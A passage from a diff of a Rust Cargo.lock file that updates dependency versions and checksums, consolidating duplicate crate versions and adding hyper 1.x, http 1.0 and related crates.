+1369,7 @@ version = "0.3.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "eeaa953eaad386a53111e47172c2fedba671e5684c8dd601a5f474f4f118710f" dependencies = [ - "cfg-if 1.0.0", + "cfg-if", ] [[package]] @@ -1469,7 +1404,7 @@ dependencies = [ "cranelift-entity", "cranelift-isle", "gimli", - "hashbrown 0.14.2", + "hashbrown 0.14.3", "log", "regalloc2", "smallvec", @@ -1576,7 +1511,7 @@ version = "1.3.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b540bd8bc810d3885c6ea91e2018302f68baba2129ab3e88f32389ee9370880d" dependencies = [ - "cfg-if 1.0.0", + "cfg-if", ] [[package]] @@ -1585,7 +1520,7 @@ version = "0.5.8" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a33c2bf77f2df06183c3aa30d1e96c0695a313d4f9c453cc3762a6db39f99200" dependencies = [ - "cfg-if 1.0.0", + "cfg-if", "crossbeam-utils", ] @@ -1595,7 +1530,7 @@ version = "0.8.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ce6fd6f855243022dcecf8702fef0c297d4338e226845fe067f6341ad9fa0cef" dependencies = [ - "cfg-if 1.0.0", + "cfg-if", "crossbeam-epoch", "crossbeam-utils", ] @@ -1607,7 +1542,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ae211234986c545741a7dc064309f67ee1e5ad243d0e48335adc0484d960bcc7" dependencies = [ "autocfg", - "cfg-if 1.0.0", + "cfg-if", "crossbeam-utils", "memoffset 0.9.0", "scopeguard", @@ -1619,7 +1554,7 @@ version = "0.3.8" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d1cfb3ea8a53f37c40dea2c7bedcbd88bdfae54f5e2175d6ecaff1c988353add" dependencies = [ - "cfg-if 1.0.0", + "cfg-if", "crossbeam-utils", ] @@ -1629,7 +1564,7 @@ version = "0.8.16" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5a22b2d63d4d1dc0b7f1b6b2747dd0088008a9be28b6ddf0b1e7d335e3037294" dependencies = [ - "cfg-if 1.0.0", + "cfg-if", ] [[package]] @@ -1684,26 +1619,6 @@ dependencies = [ ] [[package]] -name = "crypto-mac" -version = "0.8.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b584a330336237c1eecd3e94266efb216c56ed91225d634cb2991c5f3fd1aeab" -dependencies = [ - "generic-array", - "subtle", -] - -[[package]] -name = "crypto-mac" -version = "0.11.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b1d1a86f49236c215f271d40892d5fc950490551400b02ef360692c29815c714" -dependencies = [ - "generic-array", - "subtle", -] - -[[package]] name = "ctor" version = "0.2.5" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1750,9 +1665,28 @@ dependencies = [ [[package]] name = "data-encoding" -version = "2.4.0" +version = "2.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c2e66c9d817f1720209181c316d28635c050fa304f9c79e47a520882661b7308" +checksum = "7e962a19be5cfc3f3bf6dd8f61eb50107f356ad6270fbb3ed41476571db78be5" + +[[package]] +name = "deadpool" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "421fe0f90f2ab22016f32a9881be5134fdd71c65298917084b0c7477cbc3856e" +dependencies = [ + "async-trait", + "deadpool-runtime", + "num_cpus", + "retain_mut", + "tokio", +] + +[[package]] +name = "deadpool-runtime" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "63dfa964fe2a66f3fde91fc70b267fe193d822c7e603e2a675a49a7f46ad3f49" [[package]] name = "debugid" @@ -1790,9 +1724,9 @@ dependencies = [ [[package]] name = "deranged" -version = "0.3.9" +version = "0.3.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0f32d04922c60427da6f9fef14d042d9edddef64cb9d4ce0d64d0685fbeb1fd3" +checksum = "8eb30d70a07a3b04884d2677f06bec33509dc67ca60d92949e5535352d3191dc" dependencies = [ "powerfmt", "serde", @@ -1850,20 +1784,11 @@ checksum = "6184e33543162437515c2e2b48714794e37845ec9851711914eec9d308f6ebe8" [[package]] name = "digest" -version = "0.9.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d3dd60d1080a57a05ab032377049e0591415d2b31afd7028356dbf3cc6dcb066" -dependencies = [ - "generic-array", -] - -[[package]] -name = "digest" version = "0.10.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" dependencies = [ - "block-buffer 0.10.4", + "block-buffer", "const-oid", "crypto-common", "subtle", @@ -1875,7 +1800,7 @@ version = "2.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "339ee130d97a610ea5a5872d2bbb130fdf68884ff09d3028b81bec8a1ac23bbc" dependencies = [ - "cfg-if 1.0.0", + "cfg-if", "dirs-sys-next", ] @@ -1981,7 +1906,7 @@ version = "0.8.33" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7268b386296a025e474d5140678f75d6de9493ae55a5d709eeb9dd08149945e1" dependencies = [ - "cfg-if 1.0.0", + "cfg-if", ] [[package]] @@ -2016,12 +1941,12 @@ checksum = "5443807d6dff69373d433ab9ef5378ad8df50ca6298caf15de6e52e24aaf54d5" [[package]] name = "errno" -version = "0.3.7" +version = "0.3.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f258a7194e7f7c2a7837a8913aeab7fd8c383457034fa20ce4dd3dcb813e8eb8" +checksum = "a258e46cdc063eb8519c00b9fc845fc47bcfca4130e2f08e88665ceda8474245" dependencies = [ "libc", - "windows-sys 0.48.0", + "windows-sys 0.52.0", ] [[package]] @@ -2030,7 +1955,7 @@ version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "136d1b5283a1ab77bd9257427ffd09d8667ced0570b6f938942bc7568ed5b943" dependencies = [ - "cfg-if 1.0.0", + "cfg-if", "home", "windows-sys 0.48.0", ] @@ -2073,25 +1998,25 @@ checksum = "25cbce373ec4653f1a01a31e8a5e5ec0c622dc27ff9c4e6606eefef5cbbed4a5" [[package]] name = "fd-lock" -version = "4.0.0" +version = "4.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0b0377f1edc77dbd1118507bc7a66e4ab64d2b90c66f90726dc801e73a8c68f9" +checksum = "b93f7a0db71c99f68398f80653ed05afb0b00e062e1a20c7ff849c4edfabbbcc" dependencies = [ - "cfg-if 1.0.0", + "cfg-if", "rustix", - "windows-sys 0.48.0", + "windows-sys 0.52.0", ] [[package]] name = "filetime" -version = "0.2.22" +version = "0.2.23" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d4029edd3e734da6fe05b6cd7bd2960760a616bd2ddd0d59a0124746d6272af0" +checksum = "1ee447700ac8aa0b2f2bd7bc4462ad686ba06baa6727ac149a2d6277f0d240fd" dependencies = [ - "cfg-if 1.0.0", + "cfg-if", "libc", - "redox_syscall 0.3.5", - "windows-sys 0.48.0", + "redox_syscall 0.4.1", + "windows-sys 0.52.0", ] [[package]] @@ -2129,9 +2054,9 @@ checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" [[package]] name = "form_urlencoded" -version = "1.2.0" +version = "1.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a62bc1cf6f830c2ec14a513a9fb124d0a213a629668a4186f329db21fe045652" +checksum = "e13624c2627564efccf4934284bdd98cbaa14e79b0b5a141218e507b3a823456" dependencies = [ "percent-encoding", ] @@ -2144,13 +2069,13 @@ checksum = "e3d76ed310eb8c6f88ddde3e976d015f4f91761fe98d7d41e497db542318fca9" [[package]] name = "fs-set-times" -version = "0.20.0" +version = "0.20.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dd738b84894214045e8414eaded76359b4a5773f0a0a56b16575110739cdcf39" +checksum = "033b337d725b97690d86893f9de22b67b80dcc4e9ad815f348254c38119db8fb" dependencies = [ "io-lifetimes", "rustix", - "windows-sys 0.48.0", + "windows-sys 0.52.0", ] [[package]] @@ -2321,7 +2246,7 @@ version = "0.1.16" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8fc3cb4d91f53b50155bdcfd23f6a4c39ae1969c2ae85982b135750cccaf5fce" dependencies = [ - "cfg-if 1.0.0", + "cfg-if", "libc", "wasi 0.9.0+wasi-snapshot-preview1", ] @@ -2332,7 +2257,7 @@ version = "0.2.11" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "fe9006bed769170c11f845cf00c7c1e9092aeb3f268e007c3e760ac68008070f" dependencies = [ - "cfg-if 1.0.0", + "cfg-if", "js-sys", "libc", "wasi 0.11.0+wasi-snapshot-preview1", @@ -2341,9 +2266,9 @@ dependencies = [ [[package]] name = "gimli" -version = "0.28.0" +version = "0.28.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6fb8d784f27acf97159b40fc4db5ecd8aa23b9ad5ef69cdd136d3bc80665f0c0" +checksum = "4271d37baee1b8c7e4b708028c57d816cf9d2434acb33a549475f78c181f6253" dependencies = [ "fallible-iterator", "indexmap 2.1.0", @@ -2352,9 +2277,9 @@ dependencies = [ [[package]] name = "git2" -version = "0.18.1" +version = "0.18.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fbf97ba92db08df386e10c8ede66a2a0369bd277090afd8710e19e38de9ec0cd" +checksum = "1b3ba52851e73b46a4c3df1d89343741112003f0f6f13beb0dfac9e457c3fdcd" dependencies = [ "bitflags 2.4.1", "libc", @@ -2420,9 +2345,9 @@ dependencies = [ [[package]] name = "gix-actor" -version = "0.28.0" +version = "0.28.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "948a5f9e43559d16faf583694f1c742eb401ce24ce8e6f2238caedea7486433c" +checksum = "2eadca029ef716b4378f7afb19f7ee101fde9e58ba1f1445971315ac866db417" dependencies = [ "bstr", "btoi", @@ -2434,9 +2359,9 @@ dependencies = [ [[package]] name = "gix-attributes" -version = "0.20.0" +version = "0.20.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dca120f0c6562d2d7cae467f2466e576d9f7f189beec2af2e026145107c729e2" +checksum = "0f395469d38c76ec47cd1a6c5a53fbc3f13f737b96eaf7535f4e6b367e643381" dependencies = [ "bstr", "gix-glob", @@ -2451,18 +2376,18 @@ dependencies = [ [[package]] name = "gix-bitmap" -version = "0.2.7" +version = "0.2.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0ccab4bc576844ddb51b78d81b4a42d73e6229660fa614dfc3d3999c874d1959" +checksum = "d49e1a13a30d3f88be4bceae184dd13a2d3fb9ffa7515f7ed7ae771b857f4916" dependencies = [ "thiserror", ] [[package]] name = "gix-chunk" -version = "0.4.4" +version = "0.4.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5b42ea64420f7994000130328f3c7a2038f639120518870436d31b8bde704493" +checksum = "d411ecd9b558b0c20b3252b7e409eec48eabc41d18324954fe526bac6e2db55f" dependencies = [ "thiserror", ] @@ -2478,15 +2403,15 @@ dependencies = [ [[package]] name = "gix-commitgraph" -version = "0.22.0" +version = "0.22.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7e8bc78b1a6328fa6d8b3a53b6c73997af37fd6bfc1d6c49f149e63bda5cbb36" +checksum = "85a7007ba021f059803afaf6f8a48872422abc20550ac12ede6ddea2936cec36" dependencies = [ "bstr", "gix-chunk", "gix-features", "gix-hash", - "memmap2", + "memmap2 0.9.0", "thiserror", ] @@ -2513,9 +2438,9 @@ dependencies = [ [[package]] name = "gix-config-value" -version = "0.14.0" +version = "0.14.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ea7505b97f4d8e7933e29735a568ba2f86d8de466669d9f0e8321384f9972f47" +checksum = "6419db582ea84dfb58c7e7b0af7fd62c808aa14954af2936a33f89b0f4ed018e" dependencies = [ "bitflags 2.4.1", "bstr", @@ -2542,9 +2467,9 @@ dependencies = [ [[package]] name = "gix-date" -version = "0.8.0" +version = "0.8.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fc7df669639582dc7c02737642f76890b03b5544e141caba68a7d6b4eb551e0d" +checksum = "468dfbe411f335f01525a1352271727f8e7772075a93fa747260f502086b30be" dependencies = [ "bstr", "itoa", @@ -2580,9 +2505,9 @@ dependencies = [ [[package]] name = "gix-features" -version = "0.36.0" +version = "0.36.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "51f4365ba17c4f218d7fd9ec102b8d2d3cb0ca200a835e81151ace7778aec827" +checksum = "4d46a4a5c6bb5bebec9c0d18b65ada20e6517dbd7cf855b87dd4bbdce3a771b2" dependencies = [ "bytes", "crc32fast", @@ -2619,18 +2544,18 @@ dependencies = [ [[package]] name = "gix-fs" -version = "0.8.0" +version = "0.8.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8cd171c0cae97cd0dc57e7b4601cb1ebf596450e263ef3c02be9107272c877bd" +checksum = "20e86eb040f5776a5ade092282e51cdcad398adb77d948b88d17583c2ae4e107" dependencies = [ "gix-features", ] [[package]] name = "gix-glob" -version = "0.14.0" +version = "0.14.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8fac08925dbc14d414bd02eb45ffb4cecd912d1fce3883f867bd0103c192d3e4" +checksum = "5db19298c5eeea2961e5b3bf190767a2d1f09b8802aeb5f258e42276350aff19" dependencies = [ "bitflags 2.4.1", "bstr", @@ -2640,9 +2565,9 @@ dependencies = [ [[package]] name = "gix-hash" -version = "0.13.1" +version = "0.13.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1884c7b41ea0875217c1be9ce91322f90bde433e91d374d0e1276073a51ccc60" +checksum = "99c1e554a87759e672c7d2e37211e761aa390c61ffcd3753a57c51173143f3cb" dependencies = [ "faster-hex", "thiserror", @@ -2650,20 +2575,20 @@ dependencies = [ [[package]] name = "gix-hashtable" -version = "0.4.0" +version = "0.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "409268480841ad008e81c17ca5a293393fbf9f2b6c2f85b8ab9de1f0c5176a16" +checksum = "feb61880816d7ec4f0b20606b498147d480860ddd9133ba542628df2f548d3ca" dependencies = [ "gix-hash", - "hashbrown 0.14.2", + "hashbrown 0.14.3", "parking_lot 0.12.1", ] [[package]] name = "gix-ignore" -version = "0.9.0" +version = "0.9.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1e73c07763a8005ae02cb5cf83040729cea9bb70c7cef68ec6c24159904c499a" +checksum = "a215cc8cf21645bca131fcf6329d3ebd46299c47dbbe27df71bb1ca9e328b879" dependencies = [ "bstr", "gix-glob", @@ -2689,16 +2614,16 @@ dependencies = [ "gix-object", "gix-traverse", "itoa", - "memmap2", + "memmap2 0.7.1", "smallvec", "thiserror", ] [[package]] name = "gix-lock" -version = "11.0.0" +version = "11.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f4feb1dcd304fe384ddc22edba9dd56a42b0800032de6537728cea2f033a4f37" +checksum = "7e5c65e6a29830a435664891ced3f3c1af010f14900226019590ee0971a22f37" dependencies = [ "gix-tempfile", "gix-utils", @@ -2707,9 +2632,9 @@ dependencies = [ [[package]] name = "gix-macros" -version = "0.1.0" +version = "0.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9d8acb5ee668d55f0f2d19a320a3f9ef67a6999ad483e11135abcc2464ed18b6" +checksum = "02a5bcaf6704d9354a3071cede7e77d366a5980c7352e102e2c2f9b645b1d3ae" dependencies = [ "proc-macro2", "quote", @@ -2784,7 +2709,7 @@ dependencies = [ "gix-object", "gix-path", "gix-tempfile", - "memmap2", + "memmap2 0.7.1", "parking_lot 0.12.1", "smallvec", "thiserror", @@ -2814,9 +2739,9 @@ dependencies = [ [[package]] name = "gix-path" -version = "0.10.0" +version = "0.10.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6a1d370115171e3ae03c5c6d4f7d096f2981a40ddccb98dfd704c773530ba73b" +checksum = "d86d6fac2fabe07b67b7835f46d07571f68b11aa1aaecae94fe722ea4ef305e1" dependencies = [ "bstr", "gix-trace", @@ -2827,9 +2752,9 @@ dependencies = [ [[package]] name = "gix-pathspec" -version = "0.4.0" +version = "0.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e9cc7194fdcf43b4a1ccfa13ffae1d79f83beb4becff7761d88dd99faeafe625" +checksum = "1dbbb92f75a38ef043c8bb830b339b38d0698d7f3746968b5fcbade7a880494d" dependencies = [ "bitflags 2.4.1", "bstr", @@ -2873,9 +2798,9 @@ dependencies = [ [[package]] name = "gix-quote" -version = "0.4.7" +version = "0.4.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "475c86a97dd0127ba4465fbb239abac9ea10e68301470c9791a6dd5351cdc905" +checksum = "4f84845efa535468bc79c5a87b9d29219f1da0313c8ecf0365a5daa7e72786f2" dependencies = [ "bstr", "btoi", @@ -2898,7 +2823,7 @@ dependencies = [ "gix-path", "gix-tempfile", "gix-validate", - "memmap2", + "memmap2 0.7.1", "thiserror", "winnow", ] @@ -2950,9 +2875,9 @@ dependencies = [ [[package]] name = "gix-sec" -version = "0.10.0" +version = "0.10.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "92b9542ac025a8c02ed5d17b3fc031a111a384e859d0be3532ec4d58c40a0f28" +checksum = "a36ea2c5907d64a9b4b5d3cc9f430e6c30f0509646b5e38eb275ca57c5bf29e2" dependencies = [ "bitflags 2.4.1", "gix-path", @@ -2977,9 +2902,9 @@ dependencies = [ [[package]] name = "gix-tempfile" -version = "11.0.0" +version = "11.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "05cc2205cf10d99f70b96e04e16c55d4c7cf33efc151df1f793e29fd12a931f8" +checksum = "388dd29114a86ec69b28d1e26d6d63a662300ecf61ab3f4cc578f7d7dc9e7e23" dependencies = [ "gix-fs", "libc", @@ -2990,9 +2915,9 @@ dependencies = [ [[package]] name = "gix-trace" -version = "0.1.3" +version = "0.1.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "96b6d623a1152c3facb79067d6e2ecdae48130030cf27d6eb21109f13bd7b836" +checksum = "b686a35799b53a9825575ca3f06481d0a053a409c4d97ffcf5ddd67a8760b497" [[package]] name = "gix-transport" @@ -3031,9 +2956,9 @@ dependencies = [ [[package]] name = "gix-url" -version = "0.25.1" +version = "0.25.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b1b9ac8ed32ad45f9fc6c5f8c0be2ed911e544a5a19afd62d95d524ebaa95671" +checksum = "0c427a1a11ccfa53a4a2da47d9442c2241deee63a154bc15cc14b8312fbc4005" dependencies = [ "bstr", "gix-features", @@ -3045,18 +2970,18 @@ dependencies = [ [[package]] name = "gix-utils" -version = "0.1.5" +version = "0.1.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b85d89dc728613e26e0ed952a19583744e7f5240fcd4aa30d6c824ffd8b52f0f" +checksum = "9f82c41937f00e15a1f6cb0b55307f0ca1f77f4407ff2bf440be35aa688c6a3e" dependencies = [ "fastrand 2.0.1", ] [[package]] name = "gix-validate" -version = "0.8.0" +version = "0.8.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e05cab2b03a45b866156e052aa38619f4ece4adcb2f79978bfc249bc3b21b8c5" +checksum = "75b7d8e4274be69f284bbc7e6bb2ccf7065dbcdeba22d8c549f2451ae426883f" dependencies = [ "bstr", "thiserror", @@ -3108,15 +3033,15 @@ checksum = "d2fabcfbdc87f4758337ca535fb41a6d701b65693ce38287d856d1674551ec9b" [[package]] name = "globset" -version = "0.4.13" +version = "0.4.14" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "759c97c1e17c55525b57192c06a267cda0ac5210b222d6b82189a2338fa1c13d" +checksum = "57da3b9b5b85bd66f31093f8c408b90a74431672542466497dcbdfdc02034be1" dependencies = [ "aho-corasick", "bstr", - "fnv", "log", - "regex", + "regex-automata 0.4.3", + "regex-syntax 0.8.2", ] [[package]] @@ -3127,16 +3052,35 @@ checksum = "92620684d99f750bae383ecb3be3748142d6095760afd5cbcf2261e9a279d780" [[package]] name = "h2" -version = "0.3.22" +version = "0.3.24" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4d6250322ef6e60f93f9a2162799302cd6f68f79f6e5d85c8c16f14d1d958178" +checksum = "bb2c4422095b67ee78da96fbb51a4cc413b3b25883c7717ff7ca1ab31022c9c9" dependencies = [ "bytes", "fnv", "futures-core", "futures-sink", "futures-util", - "http", + "http 0.2.11", + "indexmap 2.1.0", + "slab", + "tokio", + "tokio-util", + "tracing", +] + +[[package]] +name = "h2" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "31d030e59af851932b72ceebadf4a2b5986dba4c3b99dd2493f8273a0f151943" +dependencies = [ + "bytes", + "fnv", + "futures-core", + "futures-sink", + "futures-util", + "http 1.0.0", "indexmap 2.1.0", "slab", "tokio", @@ -3161,9 +3105,9 @@ dependencies = [ [[package]] name = "hashbrown" -version = "0.14.2" +version = "0.14.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f93e7192158dbcda357bdec5fb5788eebf8bbac027f3f33e719d29135ae84156" +checksum = "290f1a1d9242c78d09ce40a5e87e7554ee637af1351968159f4952f028f75604" dependencies = [ "ahash", "allocator-api2", @@ -3175,7 +3119,7 @@ version = "0.8.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e8094feaf31ff591f651a2664fb9cfd92bba7a60ce3197265e9482ebe753c8f7" dependencies = [ - "hashbrown 0.14.2", + "hashbrown 0.14.3", ] [[package]] @@ -3187,7 +3131,7 @@ dependencies = [ "base64 0.21.5", "bytes", "headers-core", - "http", + "http 0.2.11", "httpdate", "mime", "sha1", @@ -3199,7 +3143,7 @@ version = "0.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e7f66481bfee273957b1f20485a4ff3362987f85b2c236580d81b4eb7a326429" dependencies = [ - "http", + "http 0.2.11", ] [[package]] @@ -3229,17 +3173,7 @@ version = "0.12.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "791a029f6b9fc27657f6f188ec6e5e43f6911f6f878e0dc5501396e09809d437" dependencies = [ - "hmac 0.12.1", -] - -[[package]] -name = "hmac" -version = "0.11.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2a2a2320eb7ec0ebe8da8f744d7812d9fc4cb4d09344ac01898dbcb6a20ae69b" -dependencies = [ - "crypto-mac 0.11.1", - "digest 0.9.0", + "hmac", ] [[package]] @@ -3248,7 +3182,7 @@ version = "0.12.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6c49c37c09c17a53d937dfbb742eb3a961d65a994e6bcdcf37e7399d0cc8ab5e" dependencies = [ - "digest 0.10.7", + "digest", ] [[package]] @@ -3283,13 +3217,47 @@ dependencies = [ ] [[package]] +name = "http" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b32afd38673a8016f7c9ae69e5af41a58f81b1d31689040f2f1959594ce194ea" +dependencies = [ + "bytes", + "fnv", + "itoa", +] + +[[package]] name = "http-body" version = "0.4.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d5f38f16d184e36f2408a55281cd658ecbd3ca05cce6d6510a176eca393e26d1" dependencies = [ "bytes", - "http", + "http 0.2.11", + "pin-project-lite", +] + +[[package]] +name = "http-body" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1cac85db508abc24a2e48553ba12a996e87244a0395ce011e62b37158745d643" +dependencies = [ + "bytes", + "http 1.0.0", +] + +[[package]] +name = "http-body-util" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41cb79eb393015dadd30fc252023adb0b2400a0caee0fa2a077e6e21a551e840" +dependencies = [ + "bytes", + "futures-util", + "http 1.0.0", + "http-body 1.0.0", "pin-project-lite", ] @@ -3305,7 +3273,7 @@ version = "1.1.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6f560b665ad9f1572cfcaf034f7fb84338a7ce945216d64a90fd81f046a3caee" dependencies = [ - "http", + "http 0.2.11", "serde", ] @@ -3319,7 +3287,7 @@ dependencies = [ "async-channel", "base64 0.13.1", "futures-lite", - "http", + "http 0.2.11", "infer", "pin-project-lite", "rand 0.7.3", @@ -3352,9 +3320,9 @@ dependencies = [ "futures-channel", "futures-core", "futures-util", - "h2", - "http", - "http-body", + "h2 0.3.24", + "http 0.2.11", + "http-body 0.4.5", "httparse", "httpdate", "itoa", @@ -3367,11 +3335,31 @@ dependencies = [ ] [[package]] +name = "hyper" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fb5aa53871fc917b1a9ed87b683a5d86db645e23acb32c2e0785a353e522fb75" +dependencies = [ + "bytes", + "futures-channel", + "futures-util", + "h2 0.4.2", + "http 1.0.0", + "http-body 1.0.0", + "httparse", + "httpdate", + "itoa", + "pin-project-lite", + "tokio", + "want", +] + +[[package]] name = "hyper-reverse-proxy" version = "0.5.2-dev" source = "git+https://github.com/chesedo/hyper-reverse-proxy?branch=bug/host_header#5f82b7dffe940abf896fe47dadf6c8e87ddc670b" dependencies = [ - "hyper", + "hyper 0.14.27", "lazy_static", "tokio", "tracing", @@ -3384,8 +3372,8 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ec3efd23720e2049821a693cbc7e65ea87c72f1c58ff2f9522ff332b1491e590" dependencies = [ "futures-util", - "http", - "hyper", + "http 0.2.11", + "hyper 0.14.27", "log", "rustls", "rustls-native-certs", @@ -3399,13 +3387,31 @@ version = "0.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "bbb958482e8c7be4bc3cf272a766a2b0bf1a6755e7a6ae777f017a31d11b13b1" dependencies = [ - "hyper", + "hyper 0.14.27", "pin-project-lite", "tokio", "tokio-io-timeout", ] [[package]] +name = "hyper-util" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bdea9aac0dbe5a9240d68cfd9501e2db94222c6dc06843e06640b9e07f0fdc67" +dependencies = [ + "bytes", + "futures-channel", + "futures-util", + "http 1.0.0", + "http-body 1.0.0", + "hyper 1.1.0", + "pin-project-lite", + "socket2 0.5.5", + "tokio", + "tracing", +] + +[[package]] name = "hyperlocal" version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -3413,7 +3419,7 @@ checksum = "0fafdf7b2b2de7c9784f76e02c0935e65a8117ec3b768644379983ab333ac98c" dependencies = [ "futures-util", "hex", - "hyper", + "hyper 0.14.27", "pin-project", "tokio", ] @@ -3475,18 +3481,27 @@ dependencies = [ ] [[package]] +name = "idna" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "634d9b1461af396cad843f47fdba5597a4f9e6ddd4bfb6ff5d85028c25cb12f6" +dependencies = [ + "unicode-bidi", + "unicode-normalization", +] + +[[package]] name = "ignore" -version = "0.4.20" +version = "0.4.21" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dbe7873dab538a9a44ad79ede1faf5f30d49f9a5c883ddbab48bce81b64b7492" +checksum = "747ad1b4ae841a78e8aba0d63adbfbeaea26b517b63705d47856b73015d27060" dependencies = [ + "crossbeam-deque", "globset", - "lazy_static", "log", "memchr", - "regex", + "regex-automata 0.4.3", "same-file", - "thread_local", "walkdir", "winapi-util", ] @@ -3509,7 +3524,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d530e1a18b1cb4c484e6e34556a0d948706958449fca0cab753d649f2bce3d1f" dependencies = [ "equivalent", - "hashbrown 0.14.2", + "hashbrown 0.14.3", "serde", ] @@ -3544,7 +3559,7 @@ version = "0.1.12" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7a5bbe824c507c5da5956355e86a746d82e0e1464f65d862cc5e71da70e94b2c" dependencies = [ - "cfg-if 1.0.0", + "cfg-if", "js-sys", "wasm-bindgen", "web-sys", @@ -3557,7 +3572,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f3d50eb225913c1903c788287ddd0b16369771e5abc988756a5e5927390ba04f" dependencies = [ "base64 0.21.5", - "hyper", + "hyper 0.14.27", "hyper-rustls", "ring 0.16.20", "serde", @@ -3577,19 +3592,19 @@ dependencies = [ [[package]] name = "io-extras" -version = "0.18.0" +version = "0.18.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9d3c230ee517ee76b1cc593b52939ff68deda3fae9e41eca426c6b4993df51c4" +checksum = "c301e73fb90e8a29e600a9f402d095765f74310d582916a952f618836a1bd1ed" dependencies = [ "io-lifetimes", - "windows-sys 0.48.0", + "windows-sys 0.52.0", ] [[package]] name = "io-lifetimes" -version = "2.0.2" +version = "2.0.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bffb4def18c48926ccac55c1223e02865ce1a821751a95920448662696e7472c" +checksum = "5a611371471e98973dbcab4e0ec66c31a10bc356eeb4d54a0e05eac8158fe38c" [[package]] name = "ipconfig" @@ -3639,6 +3654,15 @@ dependencies = [ ] [[package]] +name = "itertools" +version = "0.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "25db6b064527c5d482d0423354fcd07a89a2dfe07b67892e62411946db7f07b0" +dependencies = [ + "either", +] + +[[package]] name = "itoa" version = "1.0.9" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -3671,7 +3695,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = 